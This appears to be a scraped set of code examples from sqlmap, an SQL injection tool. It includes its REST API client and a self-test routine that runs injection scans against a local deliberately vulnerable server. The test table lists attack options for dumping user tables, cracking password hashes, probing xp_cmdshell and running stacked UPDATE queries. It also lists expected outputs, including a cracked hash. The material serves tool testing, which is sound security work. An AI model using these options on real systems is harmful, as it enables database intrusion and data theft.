    if not value and not abortedFlag:
        value = _errorFields(expression, expressionFields,
                             expressionFieldsList)

    if value and isListLike(value) and len(value) == 1 and isinstance(
            value[0], basestring):
        value = value[0]

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %.2f seconds" % (
            kb.counters[kb.technique], duration)
        logger.debug(debugMsg)

    return value
Exemplo n.º 59
0
def client(host=RESTAPI_DEFAULT_ADDRESS,
           port=RESTAPI_DEFAULT_PORT,
           username=None,
           password=None):
    """
    REST-JSON API client
    """

    DataStore.username = username
    DataStore.password = password

    dbgMsg = "Example client access from command line:"
    dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (
        host, port)
    dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (
        host, port)
    dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port)
    dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port)
    logger.debug(dbgMsg)

    addr = "http://%s:%d" % (host, port)
    logger.info("Starting REST-JSON API client to '%s'..." % addr)

    try:
        _client(addr)
    except Exception as ex:
        if not isinstance(ex, _urllib.error.HTTPError
                          ) or ex.code == _http_client.UNAUTHORIZED:
            errMsg = "There has been a problem while connecting to the "
            errMsg += "REST-JSON API server at '%s' " % addr
            errMsg += "(%s)" % ex
            logger.critical(errMsg)
            return

    commands = ("help", "new", "use", "data", "log", "status", "option",
                "stop", "kill", "list", "flush", "exit", "bye", "quit")
    autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands)

    taskid = None
    logger.info("Type 'help' or '?' for list of available commands")

    while True:
        try:
            command = _input("api%s> " %
                             (" (%s)" % taskid if taskid else "")).strip()
            command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(),
                             command)
        except (EOFError, KeyboardInterrupt):
            print()
            break

        if command in ("data", "log", "status", "stop", "kill"):
            if not taskid:
                logger.error("No task ID in use")
                continue
            raw = _client("%s/scan/%s/%s" % (addr, taskid, command))
            res = dejsonize(raw)
            if not res["success"]:
                logger.error("Failed to execute command %s" % command)
            dataToStdout("%s\n" % raw)

        elif command.startswith("option"):
            if not taskid:
                logger.error("No task ID in use")
                continue
            try:
                command, option = command.split(" ", 1)
            except ValueError:
                raw = _client("%s/option/%s/list" % (addr, taskid))
            else:
                options = re.split(r"\s*,\s*", option.strip())
                raw = _client("%s/option/%s/get" % (addr, taskid), options)
            res = dejsonize(raw)
            if not res["success"]:
                logger.error("Failed to execute command %s" % command)
            dataToStdout("%s\n" % raw)

        elif command.startswith("new"):
            if ' ' not in command:
                logger.error("Program arguments are missing")
                continue

            try:
                argv = ["sqlmap.py"] + shlex.split(command)[1:]
            except Exception as ex:
                logger.error("Error occurred while parsing arguments ('%s')" %
                             ex)
                taskid = None
                continue

            try:
                cmdLineOptions = cmdLineParser(argv).__dict__
            except:
                taskid = None
                continue

            for key in list(cmdLineOptions):
                if cmdLineOptions[key] is None:
                    del cmdLineOptions[key]

            raw = _client("%s/task/new" % addr)
            res = dejsonize(raw)
            if not res["success"]:
                logger.error("Failed to create new task")
                continue
            taskid = res["taskid"]
            logger.info("New task ID is '%s'" % taskid)

            raw = _client("%s/scan/%s/start" % (addr, taskid), cmdLineOptions)
            res = dejsonize(raw)
            if not res["success"]:
                logger.error("Failed to start scan")
                continue
            logger.info("Scanning started")

        elif command.startswith("use"):
            taskid = (command.split()[1]
                      if ' ' in command else "").strip("'\"")
            if not taskid:
                logger.error("Task ID is missing")
                taskid = None
                continue
            elif not re.search(r"\A[0-9a-fA-F]{16}\Z", taskid):
                logger.error("Invalid task ID '%s'" % taskid)
                taskid = None
                continue
            logger.info("Switching to task ID '%s' " % taskid)

        elif command in ("list", "flush"):
            raw = _client("%s/admin/%s" % (addr, command))
            res = dejsonize(raw)
            if not res["success"]:
                logger.error("Failed to execute command %s" % command)
            elif command == "flush":
                taskid = None
            dataToStdout("%s\n" % raw)

        elif command in ("exit", "bye", "quit", 'q'):
            return

        elif command in ("help", "?"):
            msg = "help           Show this help message\n"
            msg += "new ARGS       Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
            msg += "use TASKID     Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
            msg += "data           Retrieve and show data for current task\n"
            msg += "log            Retrieve and show log for current task\n"
            msg += "status         Retrieve and show status for current task\n"
            msg += "option OPTION  Retrieve and show option for current task\n"
            msg += "options        Retrieve and show all options for current task\n"
            msg += "stop           Stop current task\n"
            msg += "kill           Kill current task\n"
            msg += "list           Display all tasks\n"
            msg += "flush          Flush tasks (delete all tasks)\n"
            msg += "exit           Exit this client\n"

            dataToStdout(msg)

        elif command:
            logger.error("Unknown command '%s'" % command)
Exemplo n.º 60
0
def vulnTest():
    """
    Runs the testing against 'vulnserver'
    """

    TESTS = (
        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U",
         (u": '\u0161u\u0107uraj'", )),
        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape",
         (u": '\u0161u\u0107uraj'", )),
        ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
        ("-r <request> --flush-session -v 5",
         ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
        ("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors",
         ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell",
          "Connection: keep-alive")),
        ("-l <log> --offline --banner -v 5", ("banner: '3.",
                                              "~[TRAFFIC OUT]")),
        ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner",
         ("total of 2 targets", "might be injectable", "Type: UNION query",
          "banner: '3.")),
        ("-u <url> --flush-session --data='{\"id\": 1}' --banner",
         ("might be injectable", "3 columns", "Payload: {\"id\"",
          "Type: boolean-based blind", "Type: time-based blind",
          "Type: UNION query", "banner: '3.")),
        ("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5",
         ("might be injectable", "Payload: <root><param name=\"id\" value=\"1",
          "Type: boolean-based blind", "Type: time-based blind",
          "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
        ("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2",
         ("might be injectable", "Parameter: id (PUT)",
          "Type: boolean-based blind", "Type: time-based blind",
          "Type: UNION query", "2 entries")),
        ("-u <url> --flush-session -H 'id: 1*' --tables",
         ("might be injectable", "Parameter: id #1* ((custom) HEADER)",
          "Type: boolean-based blind", "Type: time-based blind",
          "Type: UNION query", " users ")),
        ("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash",
         ("banner: '3.", " LIKE ")),
        ("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3",
         ("might be injectable", "Cookie #1* ((custom) HEADER)",
          "Type: boolean-based blind", "Type: time-based blind",
          "Type: UNION query", " users ")),
        ("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner",
         ("NULL connection is supported with HEAD method", "banner: '3.")),
        ("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"",
         ("might be injectable", ": syntax error", "back-end DBMS: SQLite",
          "WHERE or HAVING clause (subquery")),
        ("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"",
         ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname",
          "2 entries", "6E616D6569736E756C6C")),
        ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3",
         ("performed 6 queries", "nameisnull", "~using default dictionary")),
        ("-u <url> --flush-session --all",
         ("5 entries", "Type: boolean-based blind", "Type: time-based blind",
          "Type: UNION query", "luther", "blisset", "fluffy",
          "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull",
          "testpass")),
        ("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"",
         ("SELECT * FROM users [5]", "nameisnull")),
        ("-u '<url>&echo=foobar*' --flush-session",
         ("might be vulnerable to cross-site scripting", )),
        ("-u '<url>&query=*' --flush-session --technique=Q --banner",
         ("Title: SQLite inline queries", "banner: '3.")),
        ("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"",
         (
             "7775",
             "179ad45c6ce2cb97cf1029e212046e81 (testpass)",
         )),
        ("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"",
         (
             "banner: '3.",
             "INTEGER",
             "TEXT",
             "id",
             "name",
             "surname",
             "5, foobar, nameisnull",
             "[*] 987654321",
         )),
    )

    retVal = True
    count = 0
    address, port = "127.0.0.10", random.randint(1025, 65535)

    def _thread():
        vulnserver.init(quiet=True)
        vulnserver.run(address=address, port=port)

    thread = threading.Thread(target=_thread)
    thread.daemon = True
    thread.start()

    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
            break
        except:
            time.sleep(1)

    handle, database = tempfile.mkstemp(suffix=".sqlite")
    os.close(handle)

    with sqlite3.connect(database) as conn:
        c = conn.cursor()
        c.executescript(vulnserver.SCHEMA)

    handle, request = tempfile.mkstemp(suffix=".req")
    os.close(handle)

    handle, log = tempfile.mkstemp(suffix=".log")
    os.close(handle)

    content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (
        address, port)

    open(request, "w+").write(content)
    open(log, "w+").write(
        '<port>%d</port><request base64="true"><![CDATA[%s]]></request>' %
        (port, encodeBase64(content, binary=False)))

    url = "http://%s:%d/?id=1" % (address, port)
    direct = "sqlite3://%s" % database

    for options, checks in TESTS:
        status = '%d/%d (%d%%) ' % (count, len(TESTS),
                                    round(100.0 * count / len(TESTS)))
        dataToStdout("\r[%s] [INFO] complete: %s" %
                     (time.strftime("%X"), status))

        cmd = "%s %s %s --batch" % (
            sys.executable,
            os.path.abspath(
                os.path.join(os.path.dirname(__file__),
                             "..", "..", "sqlmap.py")),
            options.replace("<url>", url).replace("<direct>", direct).replace(
                "<request>", request).replace("<log>", log))
        output = shellExec(cmd)

        if not all(
            (check in output if not check.startswith('~') else check[1:] not in
             output) for check in checks):
            dataToStdout("---\n\n$ %s\n" % cmd)
            dataToStdout("%s---\n" % clearColors(output))
            retVal = False

        count += 1

    clearConsoleLine()
    if retVal:
        logger.info("vuln test final result: PASSED")
    else:
        logger.error("vuln test final result: FAILED")

    return retVal